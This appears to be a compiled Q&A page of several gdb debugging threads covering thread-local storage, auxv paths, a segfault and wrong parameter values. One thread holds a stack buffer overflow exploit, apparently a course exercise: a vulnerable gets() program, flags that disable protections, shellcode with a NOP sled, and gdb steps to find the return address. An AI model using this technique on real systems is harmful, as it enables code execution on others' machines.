All my static __thread values shown as <optimized out> when, in debugging, I want to watch the value of a variable; even with -o0 and/or volatile.
Static Variables without __thread are shown correctly.
Is there anyway to show the values of the variable even though I'm working with threads?
Using Win10 (CreateThread), eclipse CDT, c11, mingw64-w64 and gdb 7.11.1
A workaround may be: add some printers of thread local variables in your code, and let gdb call them. (Or if you are familiar with x86 assembly, write some hackish plugin to modify the executable memory to read out fs:offset/gs:offset (thread local variable value) and recover the memory & register)
To be more specific, add a function to the C code that does nothing but return the interesting __thread variable, and when you break the program using gdb, you can always make gdb call that function for you (assume that the function is not optimized) without corrupting the stack frame of the original program. it should be as easy as:
(gdb) p rand()
$1 = 1804289383
(gdb) p rand()
$2 = 846930886
(gdb) p rand()
$3 = 1681692777
although rand is not a good example since it has side effect. TLS variable read does not have side effect.
Example: (under Ubuntu 16.04, but things shouldn't have much difference since the functionality is very basic)
tls.cpp:
#include <stdio.h>
__thread long thread_cand;
long what_is_thread_cand()
{
return thread_cand;
}
int main()
{
while ( !feof ( stdin ) )
{
scanf ( "%ld", &thread_cand );
printf ( "%p : %ld\n", &thread_cand, thread_cand );
}
return 0;
}
terminal:
$ g++ -O2 -g3 tls.cpp -o tls
tls.cpp: In function ‘int main()’:
tls.cpp:14:38: warning: ignoring return value of ‘int scanf(const char*, ...)’, declared with attribute warn_unused_result [-Wunused-result]
scanf ( "%ld", &thread_cand );
^
$ gdb tls --nh
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from tls...done.
(gdb) r
Starting program: /home/ubuntu/tls
123
0x7ffff7fcb6f8 : 123
432
0x7ffff7fcb6f8 : 432
^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b04230 in __read_nocancel ()
at ../sysdeps/unix/syscall-template.S:84
84 ../sysdeps/unix/syscall-template.S: No such file or directory.
(gdb) p thread_cand
Cannot find thread-local storage for process 6472, executable file /home/ubuntu/tls:
Cannot find thread-local variables on this target
(gdb) p what_is_thread_cand()
$1 = 432
(gdb)
Related
Need to extract a few values from an auxiliary vector. You can read more about it here. That's where I got and slightly modified code below:
#include <stdio.h>
#include <elf.h>
int main(int argc, char* argv[], char* envp[])
{
Elf64_auxv_t *auxv;
while (*envp++ != NULL); /* from stack diagram above: *envp = NULL marks end of envp */
for (auxv = (Elf64_auxv_t *)envp; auxv->a_type != AT_NULL; auxv++)
/* auxv->a_type = AT_NULL marks the end of auxv */
{
if (AT_EXECFN == auxv->a_type)
{
char *str = (char *)auxv->a_un.a_val;
printf("%s\n", str);
break;
}
}
return 0;
}
I compile the code with gcc -g aux-extractor.c.
Here is the weird part. If I run the code as ./a.out I get and output as ./a.out which makes sense. However when I debug it in gdb and print the value at a specific address I get /tmp/a.out, which also makes sense I compiled my code in /tmp directory. My question is why I'm getting two different results, a.out and /tmp/a.out?
Here is my debugging session (pay attention to the output of the x/s command:
$ gdb ./a.out
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu". T
ype "show configuration" for configuration details.
For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./a.out...
(gdb) start
Temporary breakpoint 1 at 0x1149: file auxv-extractor.c, line 5.
Starting program: /tmp/a.out
Temporary breakpoint 1, main (argc=21845, argv=0x0, envp=0x5555555551c0 <__libc_csu_init>) at auxv-extractor.c:5
5 {
(gdb) break 15
Breakpoint 2 at 0x555555555198: file auxv-extractor.c, line 15.
(gdb) c
Continuing.
Breakpoint 2, main (argc=1, argv=0x7fffffffe408, envp=0x7fffffffe520) at auxv-extractor.c:15
15 printf("%s\n", str);
(gdb) x/s str
0x7fffffffefed: "/tmp/a.out"
(gdb)
When gdb runs your program, it does so by executing /tmp/a.out, having expanded the path from the ./a.out on the command line.
GDB has a habit of starting the program with $(realpath ./a.out) when ./a.out is given on the command line.
I've tried to set exec-wrapper as a way to avoid this, but was not successful -- even when setting exec-wrapper wrapper.sh with this contents:
#!/bin/bash
exec -a "./a.out" "$#"
the AT_EXECFN remains /tmp/a.out.
This answer shows how to pause the program after main() to make it easy to attach GDB from "outside". AT_EXECFN will be set to ./a.out as expected, and you can continue debugging as you normally would.
Please tell me why my program isn't working. I think it may be a segmentation fault but I can't identify it. If possible please correct it.
I'm trying to convert from array of char to an array of int using function chartoint() and when I remove it from main it works so the problem is in the function.
#include<stdio.h>
#include<stdlib.h>
void chartoint(char c[],int * x){
int i;
while(c[i]!='.'||c[i]!='\0'){
if((int)c[i]>57){ *(x+i) = (int)c[i] - 54;}
else{ *(x+i) = (c[i]-'0'); }
i++;
}
*(x+i) = -1; i++;
while(c[i]!='\0'){
if((int)c[i]>57){ *(x+i) = (int)c[i] - 54;}
else{ *(x+i) = (c[i]-'0'); }
i++;
}
}
int main(){
int n;
printf(" number of characters ");
scanf("%d",&n);
char c[n+1];
for(int i=0; i<n; i++){
scanf("%c",&c[i]);
}
c[n]='\0';
int * x = (int*)malloc(n*sizeof(int));
chartoint(c,x);
for(int i=0; i<n; i++){
printf("%d",*(x+i));
}
free(x);
return 0;
}
You need to learn how to use a debugger.
Here's the output when you use a debugger to run your C program (gdb, in this case). I named your compiled program t:
$ gdb ./t
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.3) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./t...done.
(gdb) r
Starting program: /home/youruser/t
number of characters 3
a
Program received signal SIGSEGV, Segmentation fault.
0x00000000004006ba in chartoint (c=0x7fffffffe540 "\na\n", x=0x602010) at t.c:6
6 while(c[i]!='.'||c[i]!='\0'){
(gdb) bt
#0 0x00000000004006ba in chartoint (c=0x7fffffffe540 "\na\n", x=0x602010) at t.c:6
#1 0x0000000000400884 in main () at t.c:29
(gdb)
It's basically saying that you are getting a segmentation fault (SIGSEGV) when running line 6. The reason is probably that i it's being used without being initialized first.
If you are using an IDE to do this (Visual Studio, Visual Studio Code) you will probably have and embedded debugger.
I have to inject a code in the following buffer overflow program. The code should print the hostname. I have an opcode (\x31\xc0\x50\x68\x6e\x61\x6d\x65\x68\x68\x6f\x73\x74\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x54\x53\xb0\x0b\x50\xcd\x80) which works. I have used NOPs and repeated return address. But I'm not able to run the code with it and I always end up with a segmentation fault. Can anyone help me on this?
Vulnerable.c
#include <stdio.h>
#include <stdlib.h>
int
main(int argc, char * * argv)
{
char * stuff = 0;
int len = 0;
vulnerable();
return 0;
}
int
vulnerable(void)
{
char buf[100];
printf("enter your name: ");
fflush(stdout);
gets(buf);
printf("\"%s\"\n Welcome", buf );
}
I compiled the above program with
gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -z execstack -o vulnerable vulnerable.c
Shellcode.py
print "\x90"*51 +"\x31\xc0\x50\x68\x6e\x61\x6d\x65\x68\x68\x6f\x73\x74\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x54\x53\xb0\x0b\x50\xcd\x80" + "\xd8\xf3\xff\xbf"*6
I have called this python program in command line by
python shellcode.py | ./vulnerable
I suggest you to turn on core dump:
ulimit -c unlimited
then do a simple buffer overflow like perl -e 'print "A"x130' and system will generate the dump: open it with gdb -c core and you will see %eip=0x41414141
Then you can reduce the buffer injected like perl -e 'print "A"x120' until you get exactly the size of buffer in order to overwrite RET.
Can you describe the steps to find out the return address?
c> shellcode.py >shellcode
c> gdb vulnerable
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) b vulnerable
Breakpoint 1 at 0x80484e6: file vulnerable.c, line 17.
(gdb) r <shellcode
Starting program: /home/armali/bin/so/c/vulnerable <shellcode
Breakpoint 1, vulnerable () at vulnerable.c:17
17 printf("enter your name: ");
(gdb) info frame
Stack level 0, frame at 0xbffff7bc:
eip = 0x80484e6 in vulnerable (vulnerable.c:17); saved eip 0x80484c9
called by frame at 0xbffff7cc
source language c.
Arglist at 0xbffff7bc, args:
Locals at 0xbffff7bc, Previous frame's sp is 0x0
Saved registers:
ebp at 0xbffff7bc, eip at 0xbffff7c0
The example shows that the return address eip 0x80484c9 is saved at 0xbffff7c0.
System
Fresh install of codeblocks 12.11 + mingw pack.
win7 64
gcc 4.7.1
gdb 7.5
Example code
Compiled with -g and no optimization.
#include <stdio.h>
void foo(int a, int b);
int main() {
foo(400, 42);
return 0;
}
void foo(int a, int b) {
a = a - 10;
b = a + 1;
printf("y2 %d\n", b);
}
Problem
I put a breakpoint on "void foo(int a, int b)" and I look value of b as I step through the 3 lines.
Either with the codeblocks debugging features or with the gdb command line, the value of b is 42 instead of being 391.
The console output is correct, 391.
GDB commands
C:\DebugTest>"C:\Program Files (x86)\CodeBlocks\MinGW\bin\gdb.exe"
GNU gdb (GDB) 7.5
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-pc-mingw32".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
(gdb) file bin/Debug/DebugTest.exe
Reading symbols from C:\DebugTest\bin\Debug\DebugTest.exe...done.
(gdb) break foo
Breakpoint 1 at 0x401363: file C:\DebugTest\main.c, line 14.
(gdb) run
Starting program: C:\DebugTest\bin\Debug\DebugTest.exe
[New Thread 3596.0x658]
Breakpoint 1, foo (a=400, b=42) at C:\DebugTest\main.c:14
14 a = a - 10;
(gdb) print b
$1 = 42
(gdb) step
15 b = a + 1;
(gdb) print b
$2 = 42
(gdb) step
17 printf("y2 %d\n", b);
(gdb) print b
$3 = 42
(gdb)
Remarks
When the same operations are done without a function, with a and b as local variables inside main, the debug output is correct.
When compiled with gcc 4.4.1, the debug output is correct.
Any idea what could be wrong ? =)
I searched on gcc bugzilla and found this bug report :
Bug 54218 - Debug info for function parameters is incorrect when compiled with -O0"
Althoug the report is about gcc 4.8 and I'm using 4.7, I tried the proposed workaround and it works !
Compiling with -fvar-tracking allows GDB to print the correct value for b after assignment.
gcc does not generate debugging info correctly for values that are in registers -- either values that have been put in registers or values that start there due to the calling conventions. This is a long-standing problem with gcc since at least 4.0, and makes it tricky to debug things.
Sometimes the optimizer is smarter than the debugger. Try debugging unoptimized code, or step through disassembly and watch the HW registers directly rather than stepping through C source lines and watching the debugger's idea of what the variables are.
I have a multithreaded (pthreads) program in which main() calls a function omp_file_open_all() and passes in a string as char* alongwith other arguments. I was debugging something using gdb and saw that gdb does not print out the string value correctly, whereas a printf inside the function prints it out correcly.
Breakpoint 1, omp_file_open_all (fd=0x423bb950, filename=0x7f605df078e0 "", mode=-16843009) at pthread_coll_file_open.c:29
29 if(omp_get_thread_num() == MASTER)
(gdb) print filename
$1 = 0x7f605df078e0 ""
So gdb shows filename as empty, whereas a printf inside the function outputs the correct value as "/tmp/test.out". The function being called (omp_file_open_all) is defined as follows (not in the same file as main()):
int omp_file_open_all (int fd, char* filename, int mode);
I cant post my program here as this is a part of a larger code thats approx. 1500 lines of code. 'filename' is a global variable and is set in main() by the main thread before newer threads are spawned.
So this is not an error, and I merely stumbled across it, but I am interested in finding out why gdb does not display the correct value.
OS: 64bit OpenSUSE,
gdb 6.8
Thanks for your help.
There might be some thing going wrong in your code. With the following code snippet, I am getting the string printed by gdb correctly.
#include <stdio.h>
#include <stdlib.h>
void checkString( char* fileName )
{
printf("%s", fileName);
}
int main()
{
char* name = "temp";
checkString(name);
return 0;
}
mahesh-babu-vattiguntas-macbook-pro:Desktop mahesh$ gdb gdb.out
GNU gdb 6.3.50-20050815 (Apple version gdb-1469) (Wed May 5 04:36:56 UTC 2010)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "x86_64-apple-darwin"...Reading symbols for shared libraries .. done
(gdb) b gdb.c:6
Breakpoint 1 at 0x100000ebc: file gdb.c, line 6.
(gdb) run gdb.out
Starting program: /Users/mahesh/Desktop/gdb.out gdb.out
Reading symbols for shared libraries +. done
Breakpoint 1, checkString (fileName=0x100000f05 "temp") at gdb.c:6
6 printf("%s", fileName);
(gdb) p fileName
$1 = 0x100000f05 "temp"
(gdb)
Try stepping forward one line (gdb "s" command) after you hit the breakpoint, then try printing it again. I've sometimes seen gdb have trouble displaying parameter values correctly when breaking at the beginning of a function.
My first guess was that there is a scoping issue, since the name of the function parameter and your global variable is identical. However, this does not seem to be the case for the following very small program:
#include <cstdio>
static char const* filename = "something";
int foobar(char const* filename)
{
printf("%s\n", filename);
}
int main(int argc, char** argv)
{
return foobar("somethingelse");
}
Compiled with:
g++ -ggdb -g3 -O0 test.cpp -o test
GDB (7.2, also on x64 but Ubuntu) gives:
Breakpoint 1, foobar (filename=0x400706 "somethingelse") at test.cpp:7
7 printf("%s\n", filename);
(gdb) p filename
$1 = 0x400706 "somethingelse"
So it's not about scoping per-se. Also, the output suggests that the parameter is indeed an empty string at execution time. Could you please provide us with the output of bt at the same time you break into the debugger? Last two stack frames are sufficient.